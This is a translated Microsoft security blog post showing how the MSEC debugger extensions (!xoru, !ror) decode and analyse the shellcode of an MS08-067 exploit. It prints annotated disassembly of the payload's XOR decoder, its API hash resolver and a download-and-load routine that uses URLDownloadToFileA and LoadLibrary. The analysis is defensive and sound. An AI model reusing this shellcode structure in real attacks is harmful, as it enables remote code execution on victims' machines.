Shellcode Analysis via MSEC Debugger Extensions
在之前的文章中,我们提供了关于今年早些时候发布的!exploitable Crash Analyzer的一些背景信息。我们没有提到的一点是,!exploitable只是MSEC调试器扩展导出的调试器命令之一。该扩展还包含一些Shellcode分析师可能觉得有用的附加命令。这些命令可以帮助解码Shellcode并将哈希解析为API名称。在本文中,我们将展示如何使用这些命令来帮助分析MS08-067漏洞利用中的Shellcode。在这个例子中,分析是在漏洞利用获得控制之前开始的。
解码工具
以下是Shellcode中自调用GetPC的开始部分:
1
2
3
4
5
6
7
|
0:016> u 010cf4fa
010cf4fa e8ffffffff call 010cf4fe ; 自调用
010cf4ff c25f8d ret 8D5Fh
010cf502 4f dec edi
0:016> u 010cf4fe
010cf4fe ffc2 inc edx
010cf500 5f pop edi ; edi = 010cf4ff
|
然后使用XOR解码器:
1
2
3
4
5
6
|
010cf501 8d4f10 lea ecx,[edi+10h] ; ecx = 010cf50f
010cf504 8031c4 xor byte ptr [ecx],0C4h
010cf507 41 inc ecx
010cf508 6681394d53 cmp word ptr [ecx],534Dh
010cf50d 75f5 jne 010cf504
010cf50f 38aec69da04f cmp byte ptr [esi+4FA09DC6h],ch ; 编码的,反汇编为垃圾数据
|
为了解码有效载荷并进一步分析Shellcode,我们可以将字节保存到外部文件中,在IDA Pro等应用程序中加载文件,然后对字节运行解码脚本。这是一个相当繁琐的过程。MSEC调试器扩展以内置解码工具的形式提供了替代解决方案,可以帮助加快这项任务。其中一个命令是xoru:
1
2
3
4
5
6
7
8
|
0:016> !msec.xoru
Usage : !xoru [-b] address [len] key
Example: !xoru eax 64 DD
Example: !xoru -b eax 64 DD (在内存中保留转换后的缓冲区)
Example: !xoru 0x00123456 DD (使用默认长度=256)
0:016> !msec.xoru 010cf50f c4
0x010cf50f FC 6A 02 59 64 8B 41 2E 8B 40 0C 8B 40 1C 8B 00 8B .j.Yd.A..@..@....
0x010cf520 58 08 8D B7 A1 00 00 00 E8 29 00 00 00 50 E2 F8 8B X........)...P...
|
值得注意的是,这个Shellcode使用停止标记而不是计数器进行XOR循环,因此我们使用了默认的解码长度(256),因为Shellcode大小小于该值。继续解码后的有效载荷,我们可以看到漏洞利用从查找kernel32.dll的基地址开始:
1
2
3
4
5
6
7
|
010cf510 6a02 push 2
010cf512 59 pop ecx
010cf513 648b412e mov eax,dword ptr fs:[ecx+2Eh]
010cf517 8b400c mov eax,dword ptr [eax+0Ch]
010cf51a 8b401c mov eax,dword ptr [eax+1Ch]
010cf51d 8b00 mov eax,dword ptr [eax]
010cf51f 8b5808 mov ebx,dword ptr [eax+8] ; ebx = kernel32.dll基地址
|
有关代码的详细解释,请参见[1]。
API名称哈希解析工具
找到kernel32.dll的基地址后,Shellcode然后调用API哈希名称解析器:
1
2
|
010cf522 8db7a1000000 lea esi,[edi+0A1h] ; esi = 010cf5a0.
010cf528 e829000000 call 010cf556 ; 调用API名称哈希解析器
|
解析器返回目标函数的地址,该函数的哈希值由ESI指向,模块地址在EBX中。由于ESI寄存器中的值是静态已知的,我们可以找到Shellcode尝试匹配的预计算哈希值:
1
2
|
0:016> dd 010cf5a0 L1
010cf5a0 b24e66a4
|
然而,由于xoru的默认行为,这个值不正确,因为解码后的字节不存在于内存中。在这种情况下,我们可以使用“-b”开关,使xoru在内存中保留转换后的缓冲区:
1
2
3
|
0:016> !msec.xoru -b 010cf50f c4
0:016> dd 010cf5a0 L1
010cf5a0 768aa260
|
现在我们可以通过!msec.ror找出实际的API名称:
1
2
3
4
|
0:016> !msec.ror
Usage: !ror [-n <rotation count="">] [-c <value>] [-x]
Example: Get API name for hash value 0x0E8AFE98 using default rotation count 13.
!ror 0x0E8AFE98</value></rotation>
|
这个命令的目的是确定与给定ror哈希对应的函数。ror哈希通常被运行在Windows上的Shellcode用作定位导出符号(如LoadLibraryA、WinExec等)的一种手段。值得注意的是,这个特定的Shellcode使用ROL而不是ROR,当前版本的MSEC调试器扩展不支持ROL。然而,由于ROL(n) = ROR(32-n),ROR(25)与ROL(7)具有相同的效果:
1
2
3
4
5
|
010cf575 c1c007 rol eax,7
010cf578 3202 xor al,byte ptr [edx]
0:016> !msec.ror -x -n 25 768aa260
ExitThread (kernel32.dll)
|
还应注意的是,Shellcode将下一个字符与哈希累加器进行XOR而不是ADD,因此使用“-x”开关。通过这种方式,我们可以找到Shellcode进行的其余API调用:
1
2
3
4
|
0:016> !msec.ror -x -n 25 c8ac8026
LoadLibraryA (kernel32.dll)
0:016> !msec.ror -x -n 25 d95d2399
URLDownloadToFileA (urlmon.dll)
|
有了这些知识,我们就能更好地快速完成Shellcode的分析:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
010cf50f fc cld
010cf510 6a02 push 2
010cf512 59 pop ecx ; ecx = 2
010cf513 648b412e mov eax,dword ptr fs:[ecx+2Eh]
010cf517 8b400c mov eax,dword ptr [eax+0Ch]
010cf51a 8b401c mov eax,dword ptr [eax+1Ch]
010cf51d 8b00 mov eax,dword ptr [eax]
010cf51f 8b5808 mov ebx,dword ptr [eax+8] ; ebx = kernel32.dll基地址
010cf522 8db7a1000000 lea esi,[edi+0A1h] ; esi = 010cf5a0. esi指向要解析的哈希值
010cf528 e829000000 call 010cf556 ; 调用API哈希解析器. esi += 4.
010cf52d 50 push eax ; 将解析的函数指针(kernel32!ExitThread)压入栈
010cf52e e2f8 loop 010cf528 ; 由于ecx = 2,解析(kernel32!LoadLibraryA)并压入栈
010cf530 8bfc mov edi,esp ; edi = LoadLibrary
010cf532 56 push esi ; esi = 010cf5a8 = "urlmon"
010cf533 ff17 call dword ptr [edi] ; 调用LoadLirary("urlmon")
010cf535 93 xchg eax,ebx ; ebx = urlmon.dll的模块句柄(基地址)
010cf536 83c607 add esi,7 ; esi = 010cf5af
010cf539 e818000000 call 010cf556 ; 调用API哈希解析器. esi += 4.
010cf53e 33d2 xor edx,edx ; eax = urlmon!URLDownloadToFileA
010cf540 52 push edx ; ExitThread的参数
010cf541 52 push edx ; 字符串NULL终止
010cf542 8bcc mov ecx,esp
010cf544 66c701782e mov word ptr [ecx],2E78h ; ecx = 指向“.x”的指针
010cf549 51 push ecx ; URLDownloadToFileA之后,LoadLibrary将此字符串作为参数
010cf54a ff7704 push dword ptr [edi+4] ; 函数指针kernel32!ExitThread。URLDownloadToFileA之后,LoadLibrary(“.x”)返回到ExitThread
010cf54d 52 push edx ; lpfnCB = NULL
010cf54e 52 push edx ; dwReserved = 0
010cf54f 51 push ecx ; szFileName = “.x”
010cf550 56 push esi ; szURL
010cf551 52 push edx ; pCaller = NULL
010cf552 ff37 push dword ptr [edi] ; 函数指针LoadLibrary。URLDownloadToFileA返回到LoadLibrary
010cf554 ffe0 jmp eax ; 跳转到URLDownloadToFileA
|
结论
我们已经展示了MSEC调试器扩展如何通过提供一些辅助功能来帮助加快Shellcode的分析。我们希望这些工具能够帮助提高Shellcode分析师的效率和效果。
- Jinwook Shin, MSEC Security Science
文章按"原样"提供,不提供任何保证,也不授予任何权利。
参考文献
[1] skape, Understanding Windows Shellcode. http://www.hick.org/code/skape/papers/win32-shellcode.pdf